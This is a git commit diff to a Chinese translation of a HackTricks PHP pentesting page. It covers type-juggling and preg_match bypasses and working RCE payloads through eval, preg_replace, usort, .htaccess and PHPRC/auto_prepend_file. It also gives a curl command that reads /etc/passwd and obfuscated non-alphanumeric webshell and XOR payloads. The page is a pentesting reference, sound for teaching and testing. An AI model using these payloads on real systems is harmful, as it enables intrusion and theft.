mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-30 00:20:59 +00:00
Translated ['network-services-pentesting/pentesting-web/php-tricks-esp/R
This commit is contained in:
parent
dfa16bd8ad
commit
34a46357c4
1 changed files with 41 additions and 41 deletions
|
@ -4,17 +4,17 @@
|
|||
|
||||
<summary><strong>从零开始学习 AWS 黑客技术,成为</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS 红队专家)</strong></a><strong>!</strong></summary>
|
||||
|
||||
其他支持 HackTricks 的方式:
|
||||
支持 HackTricks 的其他方式:
|
||||
|
||||
* 如果您想在 HackTricks 中看到您的**公司广告**或**下载 HackTricks 的 PDF 版本**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取 [**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
|
||||
* 发现 [**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们独家的 [**NFT 集合**](https://opensea.io/collection/the-peass-family)
|
||||
* 如果您希望在 HackTricks 中看到您的**公司广告**或**下载 HackTricks 的 PDF**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
|
||||
* 发现[**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs 集合**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram 群组**](https://t.me/peass) 或在 **Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来**分享您的黑客技巧**。
|
||||
|
||||
</details>
|
||||
|
||||
## 常见的 Cookies 位置:
|
||||
## Cookies 常见位置:
|
||||
|
||||
这也适用于 phpMyAdmin 的 Cookies。
|
||||
|
||||
|
@ -23,10 +23,8 @@ Cookies:
|
|||
PHPSESSID
|
||||
phpMyAdmin
|
||||
```
|
||||
```markdown
|
||||
位置:
|
||||
```
|
||||
```
|
||||
/var/lib/php/sessions
|
||||
/var/lib/php5/
|
||||
/tmp/
|
||||
|
@ -46,10 +44,10 @@ PHP 比较表:[https://www.php.net/manual/en/types.comparisons.php](https://ww
|
|||
|
||||
* `"string" == 0 -> True` 一个不以数字开头的字符串等于一个数字
|
||||
* `"0xAAAA" == "43690" -> True` 由十进制或十六进制数字组成的字符串可以与其他数字/字符串进行比较,如果数字相同,则结果为 True(字符串中的数字被解释为数字)
|
||||
* `"0e3264578" == 0 --> True` 以 "0e" 开头并且后面跟着任何内容的字符串将等于 0
|
||||
* `"0X3264578" == 0X --> True` 以 "0" 开头并且后面跟着任何字母(X 可以是任何字母)和任何内容的字符串将等于 0
|
||||
* `"0e12334" == "0" --> True` 这非常有趣,因为在某些情况下你可以控制输入为 "0" 的字符串和一些被哈希并与之比较的内容。因此,如果你可以提供一个会创建以 "0e" 开头并且没有任何字母的哈希值,你可以绕过比较。你可以在这里找到这种格式的**已哈希字符串**:[https://github.com/spaze/hashes](https://github.com/spaze/hashes)
|
||||
* `"X" == 0 --> True` 字符串中的任何字母都等于整数 0
|
||||
* `"0e3264578" == 0 --> True` 以 "0e" 开头并跟随任何内容的字符串将等于 0
|
||||
* `"0X3264578" == 0X --> True` 以 "0" 开头并跟随任何字母(X 可以是任何字母)和任何内容的字符串将等于 0
|
||||
* `"0e12334" == "0" --> True` 这一点非常有趣,因为在某些情况下,你可以控制输入为 "0" 的字符串和一些被哈希并与之比较的内容。因此,如果你能提供一个会创建以 "0e" 开头并且没有任何字母的哈希值,你可以绕过比较。你可以在这里找到**已经哈希过的字符串**:[https://github.com/spaze/hashes](https://github.com/spaze/hashes)
|
||||
* `"X" == 0 --> True` 字符串中的任何字母等于整数 0
|
||||
|
||||
更多信息在 [https://medium.com/swlh/php-type-juggling-vulnerabilities-3e28c4ed5c09](https://medium.com/swlh/php-type-juggling-vulnerabilities-3e28c4ed5c09)
|
||||
|
||||
|
@ -76,7 +74,7 @@ if (!strcmp(array(),"real_pwd")) { echo "Real Password"; } else { echo "No Real
|
|||
|
||||
### 严格类型杂耍
|
||||
|
||||
即使使用了 `===`,也可能存在错误,使得**比较容易受到**类型杂耍的影响。例如,如果比较在比较之前**将数据转换为不同类型的对象**:
|
||||
即使使用了 `===`,也可能存在错误,使得**比较容易受到** **类型杂耍**的影响。例如,如果比较在比较之前**将数据转换为不同类型的对象**:
|
||||
```php
|
||||
(int) "1abc" === (int) "1xyz" //This will be true
|
||||
```
|
||||
|
@ -86,7 +84,7 @@ if (!strcmp(array(),"real_pwd")) { echo "Real Password"; } else { echo "No Real
|
|||
|
||||
#### 新行绕过
|
||||
|
||||
然而,当限定正则表达式的开始时,`preg_match()` **只检查用户输入的第一行**,因此,如果你能以某种方式**发送**多行输入,你可能能够绕过这个检查。例如:
|
||||
然而,当限定正则表达式的开始时,`preg_match()` **只检查用户输入的第一行**,因此,如果你能够以**多行**的形式**发送**输入,你可能能够绕过这个检查。例如:
|
||||
```php
|
||||
$myinput="aaaaaaa
|
||||
11111111"; //Notice the new line
|
||||
|
@ -99,7 +97,7 @@ echo preg_match("/^.*1/",$myinput);
|
|||
echo preg_match("/^.*1.*$/",$myinput);
|
||||
//0 --> In this scenario preg_match DOESN'T find the char "1"
|
||||
```
|
||||
为了绕过这个检查,你可以**发送带有换行符的 url 编码值**(`%0A`),或者如果你可以发送**JSON 数据**,请将其分成**多行**发送:
|
||||
为了绕过这个检查,你可以**发送带有换行符的 url 编码值**(`%0A`),或者如果你可以发送**JSON 数据**,请在**多行**中发送:
|
||||
```php
|
||||
{
|
||||
"cmd": "cat /etc/passwd"
|
||||
|
@ -109,8 +107,8 @@ echo preg_match("/^.*1.*$/",$myinput);
|
|||
|
||||
#### **长度错误绕过**
|
||||
|
||||
(这种绕过尝试显然在 PHP 5.2.5 上进行,我无法在 PHP 7.3.15 上使其工作)\
|
||||
如果你能向 `preg_match()` 发送一个有效的非常**大的输入**,它**将无法处理它**,你将能够**绕过**检查。例如,如果它正在黑名单中的一个 JSON,你可以发送:
|
||||
(这种绕过尝试显然是在 PHP 5.2.5 上进行的,我无法在 PHP 7.3.15 上使它工作)\
|
||||
如果你能向 `preg_match()` 发送一个有效的非常**大的输入**,它将**无法处理它**,你将能够**绕过**检查。例如,如果它正在黑名单中的一个 JSON,你可以发送:
|
||||
```bash
|
||||
payload = '{"cmd": "ls -la", "injected": "'+ "a"*1000001 + '"}'
|
||||
```
|
||||
|
@ -118,13 +116,13 @@ payload = '{"cmd": "ls -la", "injected": "'+ "a"*1000001 + '"}'
|
|||
|
||||
<figure><img src="../../../.gitbook/assets/image (10).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
简而言之,问题发生是因为 PHP 中的 `preg_*` 函数建立在 [PCRE 库](http://www.pcre.org/)之上。在 PCRE 中,某些正则表达式的匹配会使用大量递归调用,这会占用大量栈空间。可以设置递归次数的限制,但在 PHP 中这个限制[默认为 100,000](http://php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit),这比栈空间的容量要多。
|
||||
简而言之,问题发生是因为 PHP 中的 `preg_*` 函数建立在 [PCRE 库](http://www.pcre.org/) 之上。在 PCRE 中,某些正则表达式的匹配通过使用大量递归调用来完成,这会占用大量的栈空间。可以设置递归次数的限制,但在 PHP 中这个限制[默认为 100,000](http://php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit),这比栈空间的容量要多。
|
||||
|
||||
[这个 Stackoverflow 讨论](http://stackoverflow.com/questions/7620910/regexp-in-preg-match-function-returning-browser-error)也在帖子中被链接,其中更深入地讨论了这个问题。我们的任务现在很清楚:\
|
||||
**发送一个输入,使得正则表达式进行 100,000+ 次递归,导致 SIGSEGV,使 `preg_match()` 函数返回 `false`,从而让应用程序认为我们的输入不是恶意的,在有效载荷的最后扔出惊喜,比如 `{system(<verybadcommand>)}` 来获得 SSTI --> RCE --> flag :)**。
|
||||
[这个 Stackoverflow 讨论](http://stackoverflow.com/questions/7620910/regexp-in-preg-match-function-returning-browser-error)也在帖子中被链接,其中更深入地讨论了这个问题。我们现在的任务很清楚:\
|
||||
**发送一个输入,使得正则表达式进行 100,000+ 次递归,导致 SIGSEGV,使得 `preg_match()` 函数返回 `false`,从而让应用程序认为我们的输入不是恶意的,在负载的最后扔出惊喜,比如 `{system(<verybadcommand>)}` 来获得 SSTI --> RCE --> flag :)**。
|
||||
|
||||
嗯,在正则表达式术语中,我们实际上并没有进行 100k 次“递归”,而是在计算“回溯步骤”,正如 [PHP 文档](https://www.php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit)所述,默认情况下在 `pcre.backtrack_limit` 变量中为 1,000,000(1M)。\
|
||||
要达到这个数,`'X'*500_001` 将导致 100 万个回溯步骤(50 万个向前和 50 万个向后):
|
||||
嗯,在正则表达式术语中,我们实际上并没有进行 100k 次“递归”,而是在计算“回溯步骤”,正如 [PHP 文档](https://www.php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit) 所述,默认在 `pcre.backtrack_limit` 变量中为 1,000,000(1M)。\
|
||||
为了达到这个目标,`'X'*500_001` 将导致 100 万次回溯步骤(50 万次向前和 50 万次向后):
|
||||
```python
|
||||
payload = f"@dimariasimone on{'X'*500_001} {{system('id')}}"
|
||||
```
|
||||
|
@ -153,15 +151,15 @@ readfile($page);
|
|||
```
|
||||
## 更多技巧
|
||||
|
||||
* **register_globals**:在 **PHP < 4.1.1.1** 或配置不当的情况下,**register_globals** 可能是激活的(或其行为被模拟)。这意味着在全局变量如 $\_GET 中如果它们有值,例如 $\_GET\["param"]="1234",你可以通过 **$param 访问它。因此,通过发送 HTTP 参数你可以覆盖代码中使用的变量**。
|
||||
* 同一域名下的 **PHPSESSION cookies 存储在同一位置**,因此如果在一个域名内 **不同路径使用不同的 cookies**,你可以让一个路径 **访问另一个路径的 cookie**,通过设置另一个路径 cookie 的值。\
|
||||
这样如果 **两个路径访问同名的变量**,你可以让 **path1 中的变量值应用于 path2**。然后 path2 将把 path1 的变量视为有效(通过给 cookie 在 path2 中对应的名称)。
|
||||
* **register_globals**: 在 **PHP < 4.1.1.1** 或配置错误的情况下,**register_globals** 可能是激活的(或它们的行为被模仿)。这意味着在全局变量如 $\_GET 中如果它们有值,例如 $\_GET\["param"]="1234",你可以通过 **$param 访问它。因此,通过发送 HTTP 参数你可以覆盖代码中使用的变量**。
|
||||
* 同一域名下的 **PHPSESSION cookies 存储在同一位置**,因此如果在一个域名内 **不同路径使用不同的 cookies**,你可以让一个路径 **访问另一个路径的 cookie**,通过设置其他路径 cookie 的值。\
|
||||
这样如果 **两个路径访问同名的变量**,你可以让 **path1 中的变量值应用于 path2**。然后 path2 将把 path1 的变量视为有效(通过给 cookie 赋予在 path2 中对应的名称)。
|
||||
* 当你拥有机器用户的 **用户名** 时。检查地址:**/\~\<USERNAME>** 来查看是否激活了 php 目录。
|
||||
* [**使用 php 包装器进行 LFI 和 RCE**](../../../pentesting-web/file-inclusion/)
|
||||
|
||||
### password_hash/password_verify
|
||||
|
||||
这些函数通常在 PHP 中用于 **从密码生成哈希** 和 **检查** 一个密码与哈希是否匹配。\
|
||||
这些函数通常在 PHP 中用来 **从密码生成哈希** 和 **检查** 一个密码与哈希是否匹配。\
|
||||
支持的算法有:`PASSWORD_DEFAULT` 和 `PASSWORD_BCRYPT`(以 `$2y$` 开头)。注意 **PASSWORD_DEFAULT 通常与 PASSWORD_BCRYPT 相同。** 并且目前,**PASSWORD_BCRYPT** 在输入上有 **72字节的大小限制**。因此,当你尝试用这个算法对超过 72 字节的内容进行哈希处理时,只有前 72B 会被使用:
|
||||
```php
|
||||
$cont=71; echo password_verify(str_repeat("a",$cont), password_hash(str_repeat("a",$cont)."b", PASSW
|
||||
|
@ -183,7 +181,7 @@ True
|
|||
**\`ls\`;**\
|
||||
**shell\_exec("ls");**
|
||||
|
||||
[查看此处获取更多有用的 PHP 函数](php-useful-functions-disable\_functions-open\_basedir-bypass/)
|
||||
[查看更多有用的 PHP 函数](php-useful-functions-disable\_functions-open\_basedir-bypass/)
|
||||
|
||||
### **通过** **preg\_replace()** **实现 RCE**
|
||||
```php
|
||||
|
@ -193,7 +191,7 @@ preg_replace("/a/e","phpinfo()","whatever")
|
|||
要执行"replace"参数中的代码,至少需要一个匹配项。
|
||||
此选项自 PHP 5.5.0 起已**不推荐使用。**
|
||||
|
||||
### **通过 Eval() 实现 RCE**
|
||||
### **通过 Eval() 实现远程代码执行**
|
||||
```
|
||||
'.system('uname -a'); $dummy='
|
||||
'.system('uname -a');#
|
||||
|
@ -217,7 +215,7 @@ preg_replace("/a/e","phpinfo()","whatever")
|
|||
### **通过 usort() 实现 RCE**
|
||||
|
||||
此函数用于使用特定函数对数组项进行排序。\
|
||||
要滥用此功能:
|
||||
要滥用此函数:
|
||||
```php
|
||||
<?php usort(VALUE, "cmp"); #Being cmp a valid function ?>
|
||||
VALUE: );phpinfo();#
|
||||
|
@ -247,7 +245,7 @@ usort();}phpinfo;#, "cmp");
|
|||
|
||||
### **通过 .httaccess 实现 RCE**
|
||||
|
||||
如果您可以**上传**一个 **.htaccess** 文件,那么您可以**配置**几个设置甚至执行代码(配置 .htaccess 文件扩展名的文件可以被**执行**)。
|
||||
如果您可以**上传**一个 **.htaccess** 文件,那么您可以**配置**几个设置甚至执行代码(配置 .htaccess 扩展名的文件可以被**执行**)。
|
||||
|
||||
不同的 .htaccess shell 可以在[这里](https://github.com/wireghoul/htshells)找到
|
||||
|
||||
|
@ -256,11 +254,11 @@ usort();}phpinfo;#, "cmp");
|
|||
如果您发现一个漏洞,允许您在 PHP 中**修改环境变量**(以及另一个上传文件的漏洞,尽管经过更多研究可能可以绕过),您可以利用这种行为来获得**RCE**。
|
||||
|
||||
* [**`LD_PRELOAD`**](../../../linux-hardening/privilege-escalation/#ld\_preload-and-ld\_library\_path):这个环境变量允许您在执行其他二进制文件时加载任意库(尽管在这种情况下可能不起作用)。
|
||||
* **`PHPRC`** :指导 PHP **在哪里找到它的配置文件**,通常称为 `php.ini`。如果您可以上传您自己的配置文件,然后,使用 `PHPRC` 指向它。添加一个**`auto_prepend_file`** 条目,指定第二个上传的文件。这第二个文件包含正常的**PHP 代码,然后由 PHP 运行时执行**,在任何其他代码之前。
|
||||
* **`PHPRC`** :指导 PHP **在哪里找到它的配置文件**,通常称为 `php.ini`。如果您可以上传您自己的配置文件,然后,使用 `PHPRC` 指向它。添加一个**`auto_prepend_file`** 条目,指定第二个上传的文件。这第二个文件包含正常的**PHP 代码,然后由 PHP 运行时在任何其他代码之前执行**。
|
||||
1. 上传一个包含我们 shellcode 的 PHP 文件
|
||||
2. 上传第二个文件,包含一个 **`auto_prepend_file`** 指令,指示 PHP 预处理器执行我们在第一步中上传的文件
|
||||
3. 设置 `PHPRC` 变量为我们在第二步中上传的文件。
|
||||
* 获取更多关于如何执行这个链的信息[**从原始报告**](https://labs.watchtowr.com/cve-2023-36844-and-friends-rce-in-juniper-firewalls/)。
|
||||
2. 上传第二个文件,包含一个**`auto_prepend_file`** 指令,指示 PHP 预处理器执行我们在第一步上传的文件
|
||||
3. 设置 `PHPRC` 变量为我们在第二步上传的文件。
|
||||
* 获取更多关于如何执行这个链条的信息[**从原始报告**](https://labs.watchtowr.com/cve-2023-36844-and-friends-rce-in-juniper-firewalls/)。
|
||||
* **PHPRC** - 另一个选项
|
||||
* 如果您**无法上传文件**,您可以在 FreeBSD 中使用文件 `/dev/fd/0`,它包含**`stdin`**,是发送到 `stdin` 的请求的**正文**:
|
||||
* `curl "http://10.12.72.1/?PHPRC=/dev/fd/0" --data-binary 'auto_prepend_file="/etc/passwd"'`
|
||||
|
@ -278,9 +276,9 @@ $_COOKIE | if #This mea
|
|||
```
|
||||
如果您正在调试PHP应用程序,您可以在`/etc/php5/apache2/php.ini`中全局启用错误打印,添加`display_errors = On`,然后重启apache:`sudo systemctl restart apache2`
|
||||
|
||||
### PHP代码反混淆
|
||||
### 反混淆PHP代码
|
||||
|
||||
您可以使用**网站**[**www.unphp.net**](http://www.unphp.net) **来反混淆php代码。**
|
||||
您可以使用**网站**[**www.unphp.net**](http://www.unphp.net)来反混淆php代码。
|
||||
|
||||
## PHP包装器和协议
|
||||
|
||||
|
@ -304,7 +302,7 @@ echo "$x ${Da}"; //Da Drums
|
|||
```
|
||||
## 利用新的 $\_GET\["a"]\($\_GET\["b"]) 实现 RCE
|
||||
|
||||
如果在页面上你能够**创建任意类的新对象**,你可能能够实现 RCE,请查看以下页面了解如何操作:
|
||||
如果在页面上你可以**创建任意类的新对象**,你可能能够实现 RCE,请查看以下页面了解如何操作:
|
||||
|
||||
{% content-ref url="php-rce-abusing-object-creation-new-usd_get-a-usd_get-b.md" %}
|
||||
[php-rce-abusing-object-creation-new-usd\_get-a-usd\_get-b.md](php-rce-abusing-object-creation-new-usd\_get-a-usd\_get-b.md)
|
||||
|
@ -341,9 +339,11 @@ Content-Type: application/x-www-form-urlencoded
|
|||
|
||||
comando=$_="`{{{"^"?<>/";${$_}[_](${$_}[__]);
|
||||
```
|
||||
要了解更深入的解释,请查看 [https://ctf-wiki.org/web/php/php/#preg\_match](https://ctf-wiki.org/web/php/php/#preg\_match)
|
||||
```markdown
|
||||
要了解更深入的解释,请查看 [https://ctf-wiki.org/web/php/php/#preg_match](https://ctf-wiki.org/web/php/php/#preg_match)
|
||||
|
||||
### XOR Shellcode(在 eval 内部)
|
||||
### XOR Shellcode(在 eval 内)
|
||||
```
|
||||
```bash
|
||||
#!/bin/bash
|
||||
|
||||
|
@ -403,14 +403,14 @@ $___($_[_]); // ASSERT($_POST[_]);
|
|||
```
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客攻击直至成为专家,通过</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>从零开始学习AWS黑客攻击直至成为英雄,通过</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
* 如果您想在**HackTricks中看到您的公司广告**或**下载HackTricks的PDF版本**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 如果您想在**HackTricks中看到您的公司广告**或**下载HackTricks的PDF版本**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks商品**](https://peass.creator-spring.com)
|
||||
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs系列**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**telegram群组**](https://t.me/peass)或在**Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
||||
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或在**Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
|
||||
</details>
|
||||
|
|
Loading…
Reference in a new issue